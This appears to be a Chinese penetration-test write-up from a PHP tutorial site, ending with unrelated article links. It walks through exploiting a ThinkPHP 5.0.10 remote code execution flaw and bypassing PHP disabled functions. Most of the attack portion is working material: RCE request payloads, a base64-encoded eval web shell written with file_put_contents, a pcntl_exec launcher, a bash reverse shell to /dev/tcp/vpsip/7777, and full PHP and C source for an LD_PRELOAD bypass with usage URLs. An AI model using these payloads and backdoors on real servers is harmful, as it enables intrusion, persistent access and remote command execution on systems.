一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄
前言
在一次滲透測試中,手工找了許久沒發(fā)現(xiàn)什么東西,抱著嘗試的心情打開了xray
果然xray還是挺給力的,一打開網(wǎng)頁的時候xray直接就掃描出了thinkphp 5.0.10 rce漏洞
直接使用命令執(zhí)行payload,結(jié)果報出system函數(shù)被禁用
s=whoami&_method=__construct&method=&filter[]=system
嘗試應(yīng)用其他函數(shù)進(jìn)行利用,經(jīng)過測試發(fā)現(xiàn)call_user_func函數(shù)沒有被禁用
Payload
s=phpinfo&_method=__construct&method=get&filter[]=call_user_func
可以看到哪些函數(shù)被禁用了
看到assert和include沒有被禁用,一開始想寫shell進(jìn)日志然后去利用文件包含,發(fā)現(xiàn)并沒有任何反應(yīng),也不報錯。
file_put_contents
又回去看被禁用的函數(shù),發(fā)現(xiàn)文件函數(shù)沒被禁用,可以用file_put_contents函數(shù)去寫文件
測試寫入phpinfo文件
s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
寫入成功
寫入冰蝎馬可以進(jìn)行文件管理了
雖然可以進(jìn)行文件操作了,但還是沒法執(zhí)行命令
pcntl_exec
想到了比較容易被忽略的命令執(zhí)行函數(shù)pcntl_exec,發(fā)現(xiàn)pcntl_exec函數(shù)沒有被禁用,該函數(shù)可以指定一個程序來執(zhí)行指定文件
先寫一個exe.php文件,在文件中指定pcntl_exec的參數(shù)(執(zhí)行運(yùn)行程序,運(yùn)行指定文件)
<?php switch (pcntl_fork()) { case 0: pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']); exit(0); default: break; } ?>
exec.sh文件寫入反彈命令
bash -i >& /dev/tcp/vpsip/7777 0>&1
瀏覽器訪問exe.php成功反彈shell
LD_PRELOAD 劫持
這次滲透是結(jié)束了,這里嘗試了另外一種繞過方法,如果遇到pcntl_exec函數(shù)也被禁用的情況,可以利用環(huán)境變量 LD_PRELOAD 劫持系統(tǒng)函數(shù),讓外部程序加載惡意 *.so,達(dá)到執(zhí)行系統(tǒng)命令的效果。詳細(xì)的原理介紹就不贅述了,可以參考這個大哥的文章https://www.meetsec.cn/index.php/archives/44/
這種方法主要是需要上傳一個.php和一個由.c程序編譯得到共享對象.so文件到服務(wù)器
bypass_disablefunc.php
<?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path); ?>
bypass_disablefunc.php提供了三個參數(shù):
- cmd 參數(shù),待執(zhí)行的系統(tǒng)命令(如 whoami)。
- outpath 參數(shù),保存命令執(zhí)行輸出結(jié)果的文件路徑(如 /www/wwwroot/public),便于在頁面上顯示,另外關(guān)于該參數(shù),你應(yīng)注意 web 是否有讀寫權(quán)限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點(diǎn)。
- sopath 參數(shù),指定劫持系統(tǒng)函數(shù)的共享對象的絕對路徑(如 /www/wwwroot/bypass_disablefunc_x64.so),另外關(guān)于該參數(shù),你應(yīng)注意 web 是否可跨目錄訪問到它,最好也傳到web根目錄下。
bypass_disablefunc.c
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline); }
這里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so將 bypass_disablefunc.c編譯為共享對象 bypass_disablefunc_x64.so
要根據(jù)目標(biāo)架構(gòu)編譯成不同版本,在 x64 的環(huán)境中編譯,若不帶編譯選項(xiàng)則默認(rèn)為 x64,若要編譯成 x86 架構(gòu)需要加上 -m32 選項(xiàng)。
可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
這里利用之前的文件管理冰蝎shell將php和so文件上傳到服務(wù)器web目錄
在瀏覽器訪問bypass_disablefunc.php傳入?yún)?shù)
http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so
成功執(zhí)行命令
總結(jié)
到此這篇關(guān)于一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的文章就介紹到這了,更多相關(guān)Thinkphp繞過禁用函數(shù)內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Yii 2.0實(shí)現(xiàn)聯(lián)表查詢加搜索分頁的方法示例
這篇文章主要給大家介紹了關(guān)于利用Yii 2.0實(shí)現(xiàn)聯(lián)表查詢加搜索分頁的方法,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面來跟著小編一起學(xué)習(xí)學(xué)習(xí)吧。2017-08-08thinkPHP5實(shí)現(xiàn)數(shù)據(jù)庫添加內(nèi)容的方法
這篇文章主要介紹了thinkPHP5實(shí)現(xiàn)數(shù)據(jù)庫添加內(nèi)容的方法,結(jié)合實(shí)例形式較為詳細(xì)的分析了thinkPHP5數(shù)據(jù)庫的配置、模型、控制器的使用及數(shù)據(jù)插入相關(guān)操作技巧,需要的朋友可以參考下2017-10-10PHP數(shù)據(jù)庫鏈接類(PDO+Access)實(shí)例分享
這篇文章主要介紹了PHP數(shù)據(jù)庫鏈接類(PDO+Access),有需要的朋友可以參考一下2013-12-12VB中的RasEnumConnections函數(shù)返回632錯誤解決方法
這篇文章主要介紹了VB中的RasEnumConnections函數(shù)返回632錯誤解決方法,使用MSDN中的例子在XP SP3系統(tǒng)上出現(xiàn)的錯誤,需要的朋友可以參考下2014-07-07Laravel使用scout集成elasticsearch做全文搜索的實(shí)現(xiàn)方法
這篇文章主要介紹了Laravel使用scout集成elasticsearch做全文搜索的實(shí)現(xiàn)方法,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2018-11-11利用PHP fsockopen 模擬POST/GET傳送數(shù)據(jù)的方法
使用php可以模擬post和get傳送數(shù)據(jù)到別的網(wǎng)頁或者是站點(diǎn),那么怎么傳送數(shù)據(jù)呢?下面由小編給大家介紹利用PHP fsockopen 模擬POST/GET傳送數(shù)據(jù)的方法,需要的朋友一起看看吧2015-09-09php導(dǎo)出csv文件,可導(dǎo)出前導(dǎo)0實(shí)例代碼
下面小編就為大家?guī)硪黄猵hp導(dǎo)出csv文件,可導(dǎo)出前導(dǎo)0實(shí)例代碼。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2016-11-11